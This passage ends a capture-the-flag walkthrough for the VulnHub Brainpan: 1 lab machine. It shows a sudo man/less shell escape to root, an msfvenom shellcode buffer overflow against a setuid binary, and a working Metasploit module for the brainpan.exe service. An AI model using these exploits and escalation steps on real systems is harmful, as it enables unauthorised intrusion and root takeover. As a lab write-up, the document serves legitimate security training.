Checking the operating system and kernel using uname and /etc/os-release, there aren't any good known exploits.

puck@brainpan:~$ uname -a
Linux brainpan 3.5.0-25-generic #39-Ubuntu SMP Mon Feb 25 19:02:34 UTC 2013 i686 i686 i686 GNU/Linux

puck@brainpan:/etc$ cat os-release
NAME="Ubuntu"
VERSION="12.10, Quantal Quetzal"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu quantal (12.10)"
VERSION_ID="12.10"

Let's see if the user has any sudo permissions.

puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

Interesting. Let's see what this program does.

puck@brainpan:~$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

Trying each of these commands, I'm getting an error about my terminal ('unknown': unknown terminal type.) with proclist and manual. I'll use python to spawn a new pty shell.

python -c 'import pty; pty.spawn("/bin/bash")'

Now I'm getting warnings, but the manual command seems to be running better. Here's the deal with the manual command (more commonly shortened to 'man'), it uses 'less' to page its output. Here's the deal with less (help text accessible by pressing 'h' while in man)...



Notice the '!command' entry. That's right. You can execute any command from within less. So, since we can sudo a manual entry, we can sudo less, which can sudo anything we want. Let's try it...

puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual less
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)
LESS(1)                                                                LESS(1)

NAME
       less - opposite of more

SYNOPSIS
       less -?
       less --help
       less -V
       less --version
       less [-[+]aABcCdeEfFgGiIJKLmMnNqQrRsSuUVwWX~]
            [-b space] [-h lines] [-j line] [-k keyfile]
            [-{oO} logfile] [-p pattern] [-P prompt] [-t tag]
            [-T tagsfile] [-x tab,...] [-y lines] [-[z] lines]
            [-# shift] [+[+]cmd] [--] [filename]...
       (See  the  OPTIONS section for alternate option syntax with long option
       names.)

DESCRIPTION
       Less is a program similar to more (1), but it has many  more  features.
       Less  does  not  have to read the entire input file before starting, so
       with large input files it starts up faster than text  editors  like  vi
       (1).  Less uses termcap (or terminfo on some systems), so it can run on
Manual page less(1) line 1 (press h for help or q to quit)!/bin/bash
root@brainpan:/usr/share/man# id  
uid=0(root) gid=0(root) groups=0(root)

Let's get that root flag.

root@brainpan:/usr/share/man# cd /root
root@brainpan:/root# cat b.txt
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

                                              http://www.techorganic.com

I guess this is the "flag". Maybe getting root is all.


Pivoting

N/A


Clean Up


*** STOP /home/puck/web/thumbs ***
*** REMOVE /home/puck/web/thumbs ***


Additional Info


validate

While getting root using the man/less trick was much easier, for the sake of learning, I went ahead and worked out a buffer overflow for the validate program in /usr/local/bin.

-rwsr-xr-x 1 anansi anansi 8761 Mar  4  2013 /usr/local/bin/validate

The validate program is owned by anansi and has the sticky bit set (so it runs as that user).

Once I worked through the same series of overflow steps as used above, I created a payload to spawn a command shell.

root@kali:~/Walkthroughs/brainpan# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -f c –e x86/shikata_ga_nai -b "\x00\x09\x0a\x20\x46"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=15, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\xfe\xa3\x49\xcc\x83\xee\xfc\xe2\xf4\x94\xa8\x11\x55\xac\xc5"
"\x21\xe1\x9d\x2a\xae\xa4\xd1\xd0\x21\xcc\x96\x8c\x2b\xa5\x90"
"\x2a\xaa\x9e\x16\xab\x49\xcc\xfe\x8c\x2b\xa5\x90\x8c\x3a\xa4"
"\xfe\xf4\x1a\x45\x1f\x6e\xc9\xcc";

I was able to send my overflow with the payload using a simple python print statement.

puck@brainpan:/usr/local/bin$ ./validate $(python -c 'print "\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xfe\xa3\x49\xcc\x83\xee\xfc\xe2\xf4\x94\xa8\x11\x55\xac\xc5\x21\xe1\x9d\x2a\xae\xa4\xd1\xd0\x21\xcc\x96\x8c\x2b\xa5\x90\x2a\xaa\x9e\x16\xab\x49\xcc\xfe\x8c\x2b\xa5\x90\x8c\x3a\xa4\xfe\xf4\x1a\x45\x1f\x6e\xc9\xcc" + "\x90"*(116 - 68) + "\xaf\x84\x04\x08"')
$ id
uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck)


Once I became the user anansi, I was able to change the /home/anansi/bin/anansi_util program to /bin/bash and sudo it to get root.

$ cd /home/anansi/bin
$ mv anansi_util anansi_util.orig
$ cp /bin/bash anansi_util
$ sudo /home/anansi/bin/anansi_util
root@brainpan:/home/anansi/bin# id
uid=0(root) gid=0(root) groups=0(root)


mona suggest

Mona is a very powerful plugin for the Immunity Debugger. It was also written to be able to generate Metasploit exploit modules easily. You can read more about specifics here: https://blog.rapid7.com/2011/10/11/monasploit/.

I decided to try the mona suggest option with my brainpan.exe overflow. To do this, we only need our first step of testing the overflow... sending a cyclic pattern. Once we crash the app with the cyclic pattern, we can run the following mona command.

!mona suggest -cpb '\x00'

This finishes the rest of the overflow steps for us and even generates a ruby module ready to load into Metasploit (with a few tweaks). One thing we notice that could use some tweaking is the 'buffer << payload.encoded  #max 116 bytes' line. It thinks it can only send 116 additional bytes because of the length of the cyclic pattern we tested with (650 bytes). In reality, we saw that we could overflow an additional 472 bytes after setting the EIP. This is just a comment and won't affect the exploits execution, but we should probably fix it.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  #Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
  #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'insert name for the exploit',
      'Description'  => %q{
          Provide information about the vulnerability / explain as good as you can
          Make sure to keep each line less than 100 columns wide
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'insert_name_of_person_who_discovered_the_vulnerability<user[at]domain.com>',  # Original discovery
          '<insert your name here>',  # MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '<insert OSVDB number here>' ],
          [ 'CVE', 'insert CVE number here' ],
          [ 'URL', '<insert another link to the exploit/advisory here>' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process', #none/process/thread/seh
          #'InitialAutoRunScript' => 'migrate -f',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00", # <change if needed>
          'DisableNops' => true,
        },

      'Targets'    =>
        [
          [ '<fill in the OS/app version here>',
            {
              'Ret'     =>  0x311712f3, # jmp esp - brainpan.exe
              'Offset'  =>  524
            }
          ],
        ],
      'Privileged'  => false,
      #Correct Date Format: "M D Y"
      #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
      'DisclosureDate'  => 'MONTH DAY YEAR',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(9999)], self.class)

  end

  def exploit

    connect

    buffer =  rand_text(target['Offset'])  
    buffer << [target.ret].pack('V')  
    buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-1500').encode_string # avoid GetPC shellcode corruption
    buffer << payload.encoded  #max 116 bytes

    print_status("Trying target #{target.name}...")
    sock.put(buffer)

    handler
    disconnect

  end
end

It is really nice to see how easily it determined the offset and JMP ESP. It look us several steps to find that. Good job, mona!

Here's my tweaked version of the Metasploit module. I ran it and confirmed it works! 😄

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  #Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
  #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Brainpan Buffer Overflow',
      'Description'  => %q{
          This was designed to exploit the buffer overflow in brainpan.exe
          from VulnHub: Brainpan: 1. The brainpan.exe service listens on
          TCP port 9999.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Many Have Gone Before',  # Original discovery
          'Larry Brown',  # MSF Module
        ],
      'References'  =>
        [
          [ 'URL', 'https://www.vulnhub.com/entry/brainpan-1,51/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process', #none/process/thread/seh
          #'InitialAutoRunScript' => 'migrate -f',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00", # <change if needed>
          'DisableNops' => true,
        },

      'Targets'    =>
        [
          [ 'brainpan.exe',
            {
              'Ret'     =>  0x311712f3, # jmp esp - brainpan.exe
              'Offset'  =>  524
            }
          ],
        ],
      'Privileged'  => false,
      #Correct Date Format: "M D Y"
      #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
      'DisclosureDate'  => 'Apr 24 2019',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(9999)])

  end

  def exploit

    connect

    buffer =  rand_text(target['Offset'])
    buffer << [target.ret].pack('V')
    buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-1500').encode_string # avoid GetPC shellcode corruption
    buffer << payload.encoded  #max 116 bytes

    print_status("Trying target #{target.name}...")
    sock.put(buffer)

    handler
    disconnect

  end
end